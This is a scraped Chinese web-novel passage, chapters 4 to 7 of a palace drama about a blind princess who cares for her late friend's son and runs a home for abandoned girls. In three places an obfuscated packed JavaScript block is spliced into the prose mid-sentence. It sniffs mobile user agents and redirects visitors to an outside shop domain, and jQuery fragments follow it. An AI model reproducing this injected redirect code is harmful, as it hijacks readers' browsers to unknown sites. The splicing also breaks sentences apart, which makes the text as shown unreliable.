苏扶楹这个皇后的位置做的并不光彩,是皇帝抢夺臣妻,罔顾礼法弄来的。朝中不少大臣都对这位苏皇后嗤之以鼻,认为她贪恋权势,故作清高,否则若真是不愿意,何不早早干净地去了。
再加上皇帝已然被杀死,周嫽十分担心苏扶楹遗身的归处,若是当真按照皇后的规制下葬了,倒也没什么,总归是无奈之举。怕就怕在她都已经西去了,却还有人不放过她,辱没了她的尸身。
周嫽对苏家没甚么印象,直觉此事定是仁亲王自导自演,早些时候吩咐了苏家来取,后又故意拖着奢雪不让她得知。毕竟苏扶楹身世无论多么坎坷,到底是一国的皇后,她的遗体哪里是一个臣子家能随便拿去的。
若是苏家能好好安葬,周嫽自然没甚么意见,她很清楚苏扶楹有多么厌恶皇家——当然,除了周嫽。可若是苏家草草了事,周嫽宁愿让苏扶楹葬在皇陵里,反正那里也不会有狗皇帝的尸体了。
“他拦你发什么火?”周嫽这个二哥脾气古怪,阴晴不定,十分惹人厌烦。
奢雪有些委屈道:“他说奴婢不好好侍奉公主,竟给公主添乱!”
周嫽呼出一口浊气,由玉生扶着站起来,走到女人身边,柔声安慰:“今日你受苦了,他说的那些浑话你都不必放在心上,我们奢雪有多么好,我还是很清楚的。”她试探性地摸了摸奢雪的臂膀,“身上好凉,快回屋歇着吧。”
奢雪笑了一下,“奴婢知道的!奴婢眼里耳里还有心里只有公主殿下一人,只要不是公主说的话,全部都被奴婢左耳朵进,右耳朵出了!自然不会为此伤神!”
周嫽被逗笑,“那就好。”
待奢雪离去,玉生扶着周嫽坐在窗边小榻上,询问:“这苏家胆子倒是大,公主,明日可要奴才前去苏家探查一二?”
周嫽摇摇头:“不必了,如今是多事之秋,我们还是低调些好,谅他家也做不出什么过分的事。派个机灵点的守在那边盯着点动静就行。”
“是。”
寒露已过,天渐渐凉了起来。轻风穿越敞开的小窗进来,带着淡淡的草木香裹着周嫽,在枝叶抖动碰撞的簌簌声响中,她仔细聆听,隐隐约约听见了孩童的欢呼声。
“什么声音?”
话刚问出来,门外便传来侍女的声音:“公主,小殿下回来了。”
周嫽怔愣片刻,直到门外远远传来一声清脆的“姑母”,才后知后觉想起来这个小殿下以及刚才欢呼声的主人是谁。
——原来是苏扶楹的孩子。
苏扶楹原是顾丞相家长男顾宪勉的结发妻子,二人琴瑟和鸣,成婚没多久她就怀孕了。只不过苏扶楹刚刚有孕不过两个月,便被周嫽的大皇兄——也就是当时的皇帝给强娶为妻。因为顾宪勉的缘故,这孩子八月后刚出生就该被皇帝活活掐死的,却在生母苏扶楹声泪俱下的恳求下保住了性命。
虽然没有掐死这个孩子,皇帝却是将尚在襁褓中的婴孩扔进冷宫,还勒令苏扶楹绝对不能与他见面。没有办法,苏扶楹只得请求周嫽前去庇护,还为孩子取了“明赫”这个名字。
本该是苏明赫的。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12957504|136642||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
周嫽小时候不懂事,是怨恨过这个孩子的。单纯地认为这个孩子把苏扶楹害得如此伤心,甚至有时还会吃周明赫的醋。现在想来,倒是可笑。
周嫽强压下心中种种杂念,由玉生扶着出了书房。
“姑母!”
小腿被温热的躯体紧紧抱住,周嫽身体强健,稳稳站在原处。念及苏扶楹,她对这个孩子总是要怜惜一些的。
周嫽拉着周明赫的手前往正厅,“今天玩的可还开心?”
“嗯!”小孩子晃了晃周嫽的手,“姑母,外面有好多人好多东西啊!我和横雨姐姐就逛了一点地方,天就黑了!”
横雨在一旁笑道:“是了,小殿下见什么都觉得新奇喜爱,一路上嘴上的笑就没停过。”
周明赫未经教化,什么都不懂,心性单纯。昨天夜里周嫽搂着孩子细细将他母亲去世之事解释了一番后,男孩在她怀中哭得上期不接下气,搂紧她的腰说:“从前母亲守着姑母,往后明赫会代替母亲,永永远远陪在姑母身边!”
当时听到这话,周嫽压抑了一天的悲伤再也忍不住,抱着周明赫无声落泪。
现今他们身在皇室,自当万分小心才是,只是周嫽疼惜孩子,再加上自己也想独自静静,这才放了他出门玩散心。见到周明赫的欢乐不似作伪,周嫽放下心来。
周明赫这几日一直陪周嫽待在府中,他从前被关在小小的冷朱阁里,什么都没见过,光是外面孩子看不上的寻常小玩具,都能玩上好久。在周明赫的欢声笑语陪伴下,周嫽难得在这动荡时期躲在公主府里过了几天安生日子。
一日,刚用过午饭的周嫽正在院中散步,便听得一个惊慌失措的女声:“芳兰见过公主!”
是王芳兰——就是从前周嫽救下的那位卖身葬母的女孩。
因着周嫽年纪尚小,幼女院目前也只有紧邻公主府的那一家,旁的地区还未推行。这王芳兰原是在公主府当差,得知周嫽要办幼女院后,便自请前往那里干活。不过幼女院的掌事是另外一位年纪稍长写的张姑姑,平日里各项事宜的交接也都是张姑姑负责,因此自从王芳兰进了幼女院后,周嫽便没怎么见过她了。
听见王芳兰突然前来,周嫽停下脚步,抬手示意女孩起身,“可是幼女院发生什么事了?”
王芳兰的声音带着哭腔:“回禀公主,前段时间有个村地主家的女儿送过来了,当时张姑姑就疑惑这样的富贵人家怎么还会送女儿,特意留了心眼调查一番。原来那孩子是地主包的典妻所生下的龙凤胎之一,男孩留了下来,女孩因为本就不是正室夫人生的,便给弃了。弄清楚缘由后,张姑姑虽然心下不耻,但还是将那孩子留了下来。谁料今日申正,那典妻的丈夫竟敲了登闻鼓,非说是公主强夺人女,要公主给个说法呢!”
“荒唐!”玉生听了始末,忍不住怒喝出来。
所谓典妻,就是穷困男人为了钱财,将自己的妻子典借给富贵人家。这富贵人家中通常有位无法生育的主母,而当家老爷为了子孙繁衍,便与那典借来的女人行夫妻之实,待那女人成功诞下男孩后,再将其送回家去。说白了就是拿女人当物件卖来卖去了。
那典妻的男子当初为了钱将妻子典借出去,如今又美其名曰为了女儿公然“击鼓鸣冤”与周嫽叫板。先不说这份情是真是假,便是真的,他一个乡野村夫,哪来的胆子与皇室之人不对付,背后定然有人指使。
5. 第 5 章
周嫽往幼女院跑了一趟,一是为了探望被气病了的张姑姑,二是因为王芳兰说幼女院懂事了的孩子们都因为此事惶惶不安,为了让女孩们好受些,她得亲自前去安抚。
一个乡野村夫不足为惧,真正让人头疼的是他背后那个看不惯周嫽——亦或者说看不惯苏扶楹的人。
幼女院虽然明面上是周嫽在打理,但无论是想法的提出还是其发展方向,都离不开苏扶楹的指点。
这间幼女院创建不过一年多,管理经营上还十分稚嫩。里面统共有十三个孩子,除了尚且由嬷嬷们悉心抚养的六个女婴个三个幼童外,还有四个已满十岁的女孩,已经在女夫子们的教导下开始学习了。
王汉桃是其中年纪最大的孩子,过了冬就满十二岁了,她是父母亲都死了无家可归投奔来的。还有一对被扔在大街上的双胞胎姐妹林珍玉和林珍宝,是横雨发现后带到官府仔细调查盘问,实在找不到家人带回来的。这对姐妹和另外一个名叫朱雪晴的女孩今年都是十岁的年纪。
朱雪晴家相较于另外三个女孩家倒是稍微富裕些,不过也只是吃穿上少不了,倒也不是什么大富大贵的人家,否则也不会来周嫽的幼女院了。她家是做蜡烛生意的,父亲虽然能干,但是得来的几两银子全被撒在花街里面了,还时常对阻止他的妻子拳脚相向。
那是一个风雪交加的夜晚,挺着大肚子的女人拽着一个女孩叩响公主府的大门,请求周嫽收下这个孩子。当时幼女院刚刚建立没多久,初心是给无家可归的女孩们一个遮风避雨的地方,最为防备的就是“换个地方养女儿”这种行为,于是那时半夜被吵醒的周嫽毫不客气地拒绝了。
谁料这女人竟然狠心直接将女儿丢在风雪中自己逃了,周嫽气得不行,却也没有办法。只得先将冻得直哆嗦的女孩带回屋内,打算第二天派人找了她的父母严惩。岂料第二日出门找人的横雨回来后,便说城东卖蜡烛铺子里的老板娘夜里将丈夫给砍死了,自己也在打斗中失足从楼上摔下来,失血过多死掉了。
周嫽当时立刻捂紧了朱雪晴的耳朵,让人将她带下去好生安抚后,越想越觉得此事不对劲。后来寻了官府的关系仔细调查才得知,原来那卖蜡烛老板背后做着买卖幼女的事儿,借着妻子与邻里妇人交好的关系诱拐过几名女童,卖来的钱再自个找女人快活花掉。
善良的老板娘意外知晓了丈夫的恶行,悔恨交加,心痛不已。当晚便将朱雪晴送来了公主府,自己回了家与男人同归于尽。不仅为了斩断恶人魂,也是为了给以前的自己赎罪。
“公主殿下!”
王汉桃惊讶的声音从周嫽身后传来,她转过身来,原来四个女孩刚下了课打算探望张姑姑,正巧与周嫽碰上了。
四人齐齐向周嫽行过礼,林珍宝率先跑过来拉住她的衣袖,“公主姐姐你没事吧?”
王汉桃等人也走过来围在玉生身边“公公”“公公”地叫,不停地问公主怎么样了。
女孩们真挚的关心好似一股暖流淌在周嫽宫变以来干涩酸痛的心,她不知道摸了摸哪个女孩的头,出声安慰:“我当然不会有事啊。”她蹲下来,张开双臂,一下便有三个女孩扑进她的怀中。
周嫽用力抱了她们一下,“此事你们都知道了?”
林珍宝道:“嗯!张姑姑都讲与我们听了!那人真是可恶,要真想要回自己的女儿,好声好气求求公主便是,怎得还平白污蔑人!”
“是啊。”王汉桃为周嫽打抱不平,“公主明明做了那么多善事,那个蠢人一点不懂就算了,竟还没脸没皮地告人!”
林珍玉抓住其中不能理解的地方询问:“百姓还能告公主吗?”
“当然可以。”周嫽立马说,“莫说是公主了,便是皇帝,都是能告的。天子犯法与庶民同罪,只是多数人畏惧皇室权威是绝不敢做出此事的,但这表不代表是错的。”她又补充道:“要是以后我做了什么十恶不赦的错事,你们也可以去告我。”
林珍宝很快接话:“公主才不会呢!”
王汉桃缩在周嫽怀中,不满地嘟囔起来:“那按照公主的意思,那人难不成还是是对的?”
周嫽轻轻摇摇头,先带着女孩们进屋看望了张姑姑,而后才坐下来与她们细细解释:“那人说我抢夺人女,这其中并非只有是非善恶。像他这种卖妻弃子之人,如何会为了一个女婴舍命告我?”
一直保持沉默的朱雪晴突然出声询问:“他这种人也会受人驱使吗?”
“当然。”周嫽知道了刚刚在自己怀中的三个人中没有朱雪晴,她面朝向女孩的方向解释:“有些人足够蠢笨,眼里只见得钱财。他背后那人想必是许诺了不少好处,这才让他愿意为女伸冤。只是他的成长与生活环境使得他没什么见识,说话做事也不会思考那么多,击鼓鸣冤的后果是一点也想不到。”
“对啊!”林珍宝后知后觉反应过来,语气满是厌恶:“恐怕这等人眼里,女儿也不过是浪费钱的玩意儿,就算要回了家,估计那女婴只有死路一条。”
朱雪晴冷静补充:“不是被溺死,就是被埋了。”
这话让另外三个女孩都忍不住打了个寒颤。
“咳咳......”
张姑姑虚弱的咳嗽声打断了周嫽的神游,她回过神来,明白张姑姑是不希望女孩们小小年纪就知晓这些个腌臜事。可是周嫽现在能把她们养在幼女院,以后还能将女孩们困在幼女院一辈子不成?她们总是要出去的,与其过分保护,让她们看似无忧无虑的长大实则对外界的危险一无所知,倒不如现在就把该教的教给她们,免得日后吃苦。
有个女孩倒了一盏茶走到床边为张姑姑顺气,周嫽心里猜想是林珍玉,等到张姑姑将茶喝完,说了一句:“我们雪晴怎么那么懂事啊。”后,意识到自己猜错了。
她站起身,柔声安抚:“此事你们大可以放心,不过是小事一桩。你们四个平时吃好玩好学好便是,也多来看看你们张姑姑,待到事情解决了,我让你们芳兰姐姐将给你们听。”
“好——”四人齐齐应声。
幼女院就在公主府旁边,周嫽直接由玉生扶着走了回去。
玉生在她身边不解道:“如今正值国丧,到底是谁没眼力见的敢在这个时候惹事?”他小声嘟囔:“也不怕仁亲王砍了他的头......”
这也正是周嫽疑
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12957505|136642||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
惑的地方。
她九岁之前一直独自住在深宫之中,父皇不喜欢她的母亲,也连带着不喜欢她。同胞的兄长周翰与她不住在一处,她从前都是和太监宫女们玩耍,对外面的事物知晓不多。后来为了救周翰眼睛瞎了,正巧父皇驾崩,大皇兄继承了王位,她也被赶去了公主府。
不过因为看不见的缘故,那时的她脾气十分差劲,暴躁易怒,每日哭个不停,还是遇见了苏扶楹后才渐渐好起来的。此后她便公主府与椒房宫两头跑——不过大多时候还是留在宫中陪苏扶楹的,按理说应该没有惹到什么人物才是。
“奢雪,那击鼓鸣冤的村夫现在何处?”
“回公主的话,那村夫击响登闻鼓没多久就被压入牢中,京兆尹的意思是看您打算如何处置。”
仁亲王起兵造反,弑杀亲兄,皇位来的不正。听说外面还有要扶持周明赫为新帝,处置仁亲王这个不仁不义毫无廉耻之人的声音,只是很快就被仁亲王一刀抹了脖子。
新帝若是仁亲王,身为同胞妹妹的周嫽就是比从前更为尊贵的长公主;要是位子落到了周明赫身上,那她就是小皇帝最敬爱的姑母。无论如何也是惹不得的,想来京兆尹也是明白这个道理,很快就帮助周嫽解决了那些污蔑人的谣言,并且将接下来的处置全权交给她来决定。
“让那人在牢里好好活着,再把他妻子接过来。”周嫽沉声道:“等过几天新帝登基大典后再来处置,奢雪,你先去查查那背后之人是谁,切莫打草惊蛇。”
“是。”
周嫽身上常带着一个装着木条与小刀的锦袋,那巴掌大小的木条上又另外雕出了三根凸起的长条。第一根长条代表着新帝登基,第二根长条代表着苏扶楹的后事,第三根长条则是苏扶楹的结发丈夫顾宪勉。
每当有重要的事需要解决时,周嫽便会静静地在木条上用小刀刻出来一块凸起的地方,以便时时刻刻警醒自己尽快处理,待到事毕再将其削去。而在雕刻时,她则会将做这件事中自己需要做什么该做什么以及各种可能性都完完整整地思考一遍,确保计划万无一失。
周嫽拂去膝头的木屑,让玉生拿来纸笔。
“公主要写些什么?”见周嫽久久没有动静,捏着笔的玉生出声提醒。
周嫽叹了一口气,伸出手来:“罢了,由我来写吧。”她九岁什么都看不见后颓废了很长一段时间,把所有的笔墨纸砚与书本都扔了出去,是苏扶楹后来握着她的小手,一笔一划慢慢带着她重新写字的。
正常写字对周嫽来说没有太大的问题,只是由于没办法把握好距离和方向,纸上的内容歪歪扭扭地并不好看。
这是一封送往吏部尚书沈大人府上的请帖,请的是尚书夫人邓宛影明日前往天香楼一聚。
邓宛影是苏扶楹的闺阁好友,两人从小一块长大,关系非比寻常。自从苏扶楹做了皇后没法出宫,周嫽经常帮着她与邓宛影联络,因此这人算得上是周嫽在京城里唯一说得上话的朋友了。
比起周嫽这个名不副实的姑母,邓宛影才称得上是周明赫真正意义上的姨母。苏扶楹死了,只留下这么一个孩子,说什么也得让邓宛影来见见。
6. 第 6 章
周明赫现今在公主府好吃好喝住着,早已经不是从前那个脏兮兮的皇宫小乞丐了。虽然周嫽看不见,但是也能够从身边人的惊叹和夸耀声中知道这个孩子有多么可爱。
如果苏扶楹还在就好了,这样她就能亲眼看看自己一直记挂着的孩子了。
或许是早已经预料到女人的死亡,周嫽在最初的惊恸过后,内心是前所未有的平静。她觉得自己真的长大了像许多,再也不是从前那个莽撞无知的少女了,她开始有了属于自己的绝不能推卸的责任。
“待会儿见了人记得喊姨母。”周嫽提醒攥着她衣袖玩耍的孩子。
不知道是因为小孩子玩心重,还是因为清楚周嫽看不见所以特意拉住她,周明赫无论是一起走路还是单纯地陪在周嫽身边,都会紧紧攥住她的衣袖或是手指。周嫽很喜欢这种能够随时随地触摸到一个人的感觉,这让她感到安心。
“为什么她是姨母,姑母就是姑母了?”小明赫天真的疑问让人忍不住发笑。
周嫽也是在这时才意识到该给这孩子请个教习的先生。平常人家的孩子五六岁甚至三岁就开始读书了,而周明赫九岁了还大字不识一个。
将此事记在心中,周嫽认真给孩子解释:“如果一个女人是你母亲的姐妹,那她就是你的姨母;若是兄弟,便应该喊舅舅。邓姨母虽与你母亲不是同姓的姐妹,却是比亲姐妹还要亲近得多,所以于情于理你都得恭恭敬敬唤一声姨母。至于我——”
周嫽顿住,想想这孩子是知道自己亲父不是皇帝的,于是放心说了:“若是你父亲的姐妹,便同我一样唤声姑母;同理,要是兄弟的话就喊伯父和叔父。比如仁亲王,就是你的叔父。”
不管怎么样,周明赫名义上都是皇帝亲子,周嫽说完这些,又认真强调:“你的父亲是大耀国皇帝周庞,是我的长兄,明白吗?”
小明赫犹疑:“可是从前冷朱阁的太监们——”
“别听他们胡说。”周嫽沉下声来,“要记住你的父亲是皇帝,无论谁问起都要这么说,唯有这样你才能好好跟姑母过日子。从前便罢了,以后谁要是敢在你跟前说那些混账话,直接告诉你玉生公公让他处置了。”
周明赫未经教化,许多事都懵懵懂懂像个傻子一样,虽然不像是记住前面那些弯弯绕绕关系的样子,不过这那一句“跟姑母过日子”却是明白的,于是重重点头:“我明白了姑母!明赫不会乱说话的。”
“好孩子。”
周明赫生父另有其人之事他们这些皇室之人虽然心知肚明,旁的人却是不知道的。真真假假扑朔迷离,说到底不过是一张嘴的事。只要周嫽让周翰承认明赫的身份,给他封个王爷,那他就是真正的皇室血脉。
周嫽轻易不在外人面前用餐,因此是用过午饭后来的。刚一进屋,便听见几道女声:“拜见长公主殿下。”
“邓姐姐快请起。”
“谢殿下。”邓宛影嗓音沙哑,像是哭过了的样子。
周嫽将小明赫推到身前,还未开口介绍便听得邓宛影慨叹:“这就是明赫吧。”
“嗯。”周嫽由邓宛影扶着坐下,“玉生说明赫与他母亲长得很像。”
邓宛影倒了一杯茶水递给周嫽,细细看了乖巧坐在板凳上的男孩几眼,笑着说:“像极了,眉毛眼睛,就连人中都是分毫不差,简直跟一个模子刻出来的一样!”
“是么。”周嫽惊讶,不好在那么多人面前摸周明赫的脸确认,住了手转而端起茶盏抿了一口,“像母亲自是好的。”只要别像他那个没用的父亲就行。
周嫽原是想着让邓宛影见见故人之子以作悼念,毕竟从前她为这对好姐妹传话时,邓宛影就经常问她周明赫的事。只是今日一见,女人似乎与周明赫并不亲昵。
“华君,来。”邓宛影将女儿叫到身前,“公主还未见过华君吧,这孩子仰慕公主已久,昨晚上得知我今天要赴公主的约,可是求了我好久,非得跟过来。”
周嫽从前代苏扶楹为邓宛影女儿的降生送过礼,只是当时自己年纪还小,并未在沈家过多停留。她伸出双臂:“华君,快过来。”
小女孩丝毫不怕生,立马撒了母亲的手小跑到公主怀中。周嫽双手掠过女孩的鬓发最后停留在肩头,柔声道:“华君今年多大了呀?”
女孩声音雀跃:“回公主殿下,华君今年十岁了,比明赫弟弟还要大一岁呢!”
邓宛影沉下声警告:“华君!”
手下的小女孩抖了一下,周嫽轻轻拍了拍她的肩,不赞成地对邓宛影说:“明赫是姐姐的孩子,自然能够与华君称作姐弟,如今姐姐不在了,两个孩子更应该互相友爱才是,何必如此生分?”她又对沈华君说:“早听闻我们华君才艺双全,今日能让华君特意前来相见,我这个做姨母的甚感荣幸呢。”
沈华君机敏有趣,笑嘻嘻回应:“华君何尝不是久久仰慕殿下却始终没机会得见您的英姿,咱们两个都未见其人先闻其名,岂不是有缘?”
周嫽头一回见一点也不怕她的女孩,难得笑出声来,“确实有缘,往后若还是想来找姨母,尽管来找。若是你母亲不同意了,就随便派来个小厮知会一声,姨母让公主府的马车亲子来接华君。”
沈华君当即拍着手掌欢呼起来。
邓宛影也笑道:“公主和善,让人心生亲近,怪不得扶楹如此喜欢你。”
“哪里是。”周嫽将桌上的糕点递给沈华君一块,女孩欢快地接过,将其掰开递给周明赫一块,男孩却是将头一撇不肯理人,沈华君倒也不生气,眉眼弯弯地收回糕点自己吃了起来。
“我从前脾性也是不好的,还是姐姐愿意包容我——”周嫽话音一顿,转而道:“不说这些了,许久未去过沈尚书府上拜访,也不知邓姐姐最近过得怎样?”
邓宛影满脸愁绪地叹了一口气,神色凄凄:“我还不就是那样,平平淡淡的日子,没什么飞来横祸,却也只是跟只鸟雀一样被困在那四方的小院里,就连扶楹自尽的消息,都是过了两日从沈世荣那个混账家伙那听来的!”
周嫽挥了挥手,横雨赶忙上前将两个孩子请到隔壁屋里去玩。
邓宛
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12957506|136642||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
影拉住周嫽的手,急切询问:“扶楹那时到底是怎么个情况?她当真是自尽的么?”
侍女们都下去了,屋内只有她们与玉生三人,天香楼的热闹隐隐透过门扉传入,更显得此时的沉默是如此突兀。
“回邓夫人的话,皇后娘娘确实是半夜无人时自缢的,至于这原因......”打破平静的玉生语音犹豫,看了一眼面无表情的周嫽,重重叹了一口气:“您也是该知道的啊,皇后娘娘经历了那样的事,换做别的女人早撑不住了。娘娘她也是日日以泪洗面,郁结于心呐。还望邓夫人节哀,想来皇后娘娘在天之灵,也是不愿看您忧思过度的。”
周嫽回握住邓宛影的手,柔声安慰:“邓姐姐与姐姐多年情分,我也知邓姐姐伤心,只是逝者已去,我们能做的便只有了却姐姐的心愿,也照顾好自己,唯有这样才能让黄泉之下的姐姐放心呀。”
大约是伤心极了,邓宛影并未回话,积攒了几日的情绪在此时爆发,哭倒在周嫽怀中。周嫽肩头的布料都被打湿了也不觉得冒犯,不断为女人拭去泪水,耐心地安慰她。
等到邓宛影情绪稳定下来,周嫽又亲自为女人斟过茶,这才提出自己的目的:“前些日子我让奢雪前去宫中问哥哥以何等规制为姐姐下葬,哥哥却说他已让苏家的人将姐姐玉体接走了......邓姐姐可知道此事?”
邓宛影苦笑:“正是苏家送来了报丧帖子被我无意间撞见,我才知晓扶楹已经去了的。”她像是自己开解自己,喃喃自语:“便这样干干净净去了罢......”
“报丧贴?”周嫽疑惑:“怎得把帖子送来了你这?沈家还与苏家有血亲吗?”
邓宛影解释:“与我们二房倒是关系不大,但是扶楹有个小表妹叫扶浣,前年刚嫁给沈家大房长孙,帖子原就是送给那孩子的。”
“那这是打算将姐姐当作苏家人去出殡了?”周嫽心下憋了一股子火,冷下声:“这样的大事竟也没人知会我一声,若不是今日来见邓姐姐一遭,恐怕姐姐都落葬了我还不知道呢!”她抬手将茶盏摔在玉生脚边:“让你找人盯着苏家的动静干什么去了!报丧这等事难不成他们家还偷偷摸摸地做吗!”
玉生立即跪在地上头磕的啪啪响:“都是奴才的错!都是奴才的错!”
“哎——好了好了公主。”邓宛影小心为周嫽顺着气,拧着眉头看了头都磕破了的玉生一眼,焦心劝解:“公主别气坏了身子,如今正值国丧,扶楹身份特殊,苏家低调些也是应该的。想来除了苏家,王爷也是不愿您为此事忧心的,这才弄得此事隐密了些,快别气了。”
周嫽也不愿在邓宛影面前失了体面,呵斥:“别磕了!回去再好好罚你!”
“谢公主。”玉生赶忙从地上起来,两只手在衣袖上擦了擦重新为周嫽倒了一杯茶,而后安静立在一旁。
邓宛影多看了玉生几眼,犹豫片刻还是说:“玉生毕竟是在外面跟着你做事的,瞧这头上都是血也不好看,回去给他找点药涂涂,可别留了疤。”
玉生弯下腰:“奴才惶恐。”
7. 第 7 章
横雨见到玉生头顶大包血流不止的样子吓了一跳,赶紧捂住周明赫的眼。沈华君倒是一点也不害怕,睁着一双大眼睛一眨不眨地仰头望着玉生,新奇极了:“这位公公是犯了什么错?怎得让公主殿下如此生气?”
扶着周嫽的邓宛影头疼不已,无奈解释:“这孩子十分顽劣......”
“怎会?”周嫽劝解:“女孩胆大强势些好,这样以后才不会受欺负。我倒是十分喜欢这孩子,以后邓姐姐要多带着华君来看我才是。”
邓宛影浅笑:“公主话都说到这个份上了,那往后我不得月月将这顽童送往你那代为管教。”
沈华君当即扬声道:“何必月月,我觉得日日才好呢!”
几人都被女孩活泼的话语逗得笑起来。
回去公主府的马车内,横雨买了药正为玉生涂抹,周明赫坐在周嫽身旁异常安静。
“华君是你的姐姐,她今日分给你糕点为何不接?”周嫽语气和缓,不辨喜怒。
周明赫却是瘪了嘴哇的一声抱住周嫽的小腿,小脑袋埋在她膝头大哭了起来。
这还是周嫽头一回听见周明赫的哭声,要知道从前在冷朱阁里他吃不饱穿不暖每日被人欺辱时可都没淌过眼泪,这怎么就突然哭了?莫不是因为她刚刚的质问?可是周嫽本就担心这孩子觉得自己凶恶特意放缓了语气,怎么还是被吓到了?
周嫽长得高,吃得多,力气也很大,当即便双手插在小孩子腋窝将他一整个抱在怀中,不太熟练地安慰着:“哎呀哎呀,我们小明赫这是怎么了呀?怎么还哭了呀?”她与男孩柔软滑嫩的脸颊相贴,感受到了温热的湿意。
她自己也不过十六岁,从前在皇宫是最小的孩子,来到公主府后又成群的奴仆伺候,哪里懂得如何哄孩子,只好学着话本里搂着孩子晃呀晃,又不断用手掌拍着他瘦弱的脊背。
周明赫十分瘦弱,九岁的孩子了身材还像个五六岁的幼童,就连周嫽现在摸着都是满手硌人的骨头。
“姑母、姑母是不是不喜欢明赫了?姑母是不是不想要明赫了?”男孩的眼泪像是断了线的珠子很快将周嫽的衣襟打湿,平时软和的声音已经哭哑,趴在她的肩头抽噎着问出来。
哎呦,这又是说的什么话。周嫽真是被他哭的满头雾水,赶忙将孩子颠了颠哄道:“你母亲对我有大恩大德,我就是不当这个公主了也绝不可能弃你于不顾呀,你这孩子,一整天的想些什么?快别哭了啊。”
周明赫搂紧周嫽的脖子哭诉:“我没有华君姐姐好......”
周嫽哄孩子的动作一顿,实话实说:“你确实没她好。”感受到男孩情绪更加崩溃,她又赶忙说:“没她好姑母也不会不要你。”
男孩似乎真的是在担心被抛弃,在得到周嫽这句承诺后哭声渐渐止歇了。
她两只手摸上男孩的脸,用衣袖温柔地为他擦去眼泪,认真说:“这世上比我们优秀的人多到数不清,若是碰见一个便自卑得哭个不停,眼都哭瞎了。既然见着了别人的好,那我们就好好向那人学习,争取自己也变成一个优秀的人。明赫,姑母还是那话,你是姐姐的孩子,年纪又小,因此我会好好将你养在身边。可若是以后你长大了,变成一个坏事做尽毫无礼义廉耻之人的话,姑母是绝不会顾念你母亲的情分的,明白吗?”
小明赫打了一个哭嗝:“......我记住了姑母。”
周嫽提问:“那若是以后华君姐姐再分明赫东西吃,明赫该怎么做呢?”
“接过来吃掉。”
“然后呢?”
“......”
周嫽摸了摸男孩的头,耐心教导:“要认真向姐姐道谢,往后有了什么好东西也要分给姐姐一份,明白吗?”
周明赫有些不太情愿:“什么都要分么?”
这句话让周嫽终于有了教导一个无知孩童的实感,她不禁正了神色,思索片刻保守地说:“还是先分玩儿的和好吃的吧。”
对面传来一声轻笑,原来是横雨忍俊不禁:“公主还是个孩子呢。”
玉生额上的伤口看着吓人,其实并不严重,但周嫽还是给他放了小半天的假让他回去好好休息。玉生还不愿意,非得说自己好得很没有任何事,要给公主布菜,还是奢雪讲他那个样子不好看辱没了公主的颜面,这才退下去的。
周嫽那时为自己对苏扶楹的后事一无所知愤懑不已,拿了玉生撒气,现在冷静下来后也知道此事当真不是他的错,因此并未计较。
其实从仁亲王之前故意拖着奢雪便能知晓他不想让周嫽再插手苏扶楹的事,此次苏家低调做事想来也是有他授意。他从前便不喜欢周嫽每日围着苏扶楹转,多次在她面前对批判或是恶意揣度苏扶楹,每次都把她气得不轻。
周嫽虽然目不能视,却很喜欢在外面散步。风吹过她的发丝,带来春夏繁花或是秋冬草木的清香,旁人口中聒噪的虫鸣声在周嫽心中却胜过许多丝竹管弦之音。
晚饭过后,周明赫被周嫽打发着与小太监做游戏去了,她和奢雪一同走在静谧的院子里。
周嫽皱起眉:“你说兄长的登基大典不让明赫去?”
“是,仁亲王今儿白天派人来说三日后的登基大典务必让小殿下在府里好好待着,否则就要砍他脑袋呢。”奢雪又道:“仁亲王还说让公主明日到宫中找他,说是有要事要与公主商议。”
周翰不想让周明赫在他的登基大典上露脸,想来也是担心会有人在那样的场合生事,利用周明赫夺取他的天子之位。虽然不喜欢这个哥哥,但是对于目前的周嫽来说,帮助周翰安稳坐上这个皇位才是她最好的选择。
在大耀的街头小巷里,皇室向来都是些绝情寡义之人,手足情谊还比不过身上一件衣服——除了周翰和周嫽。
百姓眼中的仁亲王与顺安长公主是亲密无间互相扶持的好兄妹,就连朝中的大臣们也认为仁亲王最是宠爱她这个胞妹了,自从仁亲王起兵造反,送往顺安长公主府的礼品只多不少。不管实际是怎样的,有周翰这个明面上的好哥哥做皇帝,周嫽的日子只会水涨船高,比起从前更加尊贵。
至于个中辛苦,除了自己又有何人知晓?她一个无权无势的瞎眼公主,也只能打碎银牙和血吞了。
其实七岁之前的周嫽和周翰关系并不亲密。虽然是同胞兄妹,但因为母亲柔妃在生下她后就难产去了,周翰很讨厌她这个“害死母亲的凶手”,甚至一度想要掐死尚在襁褓中的周嫽。
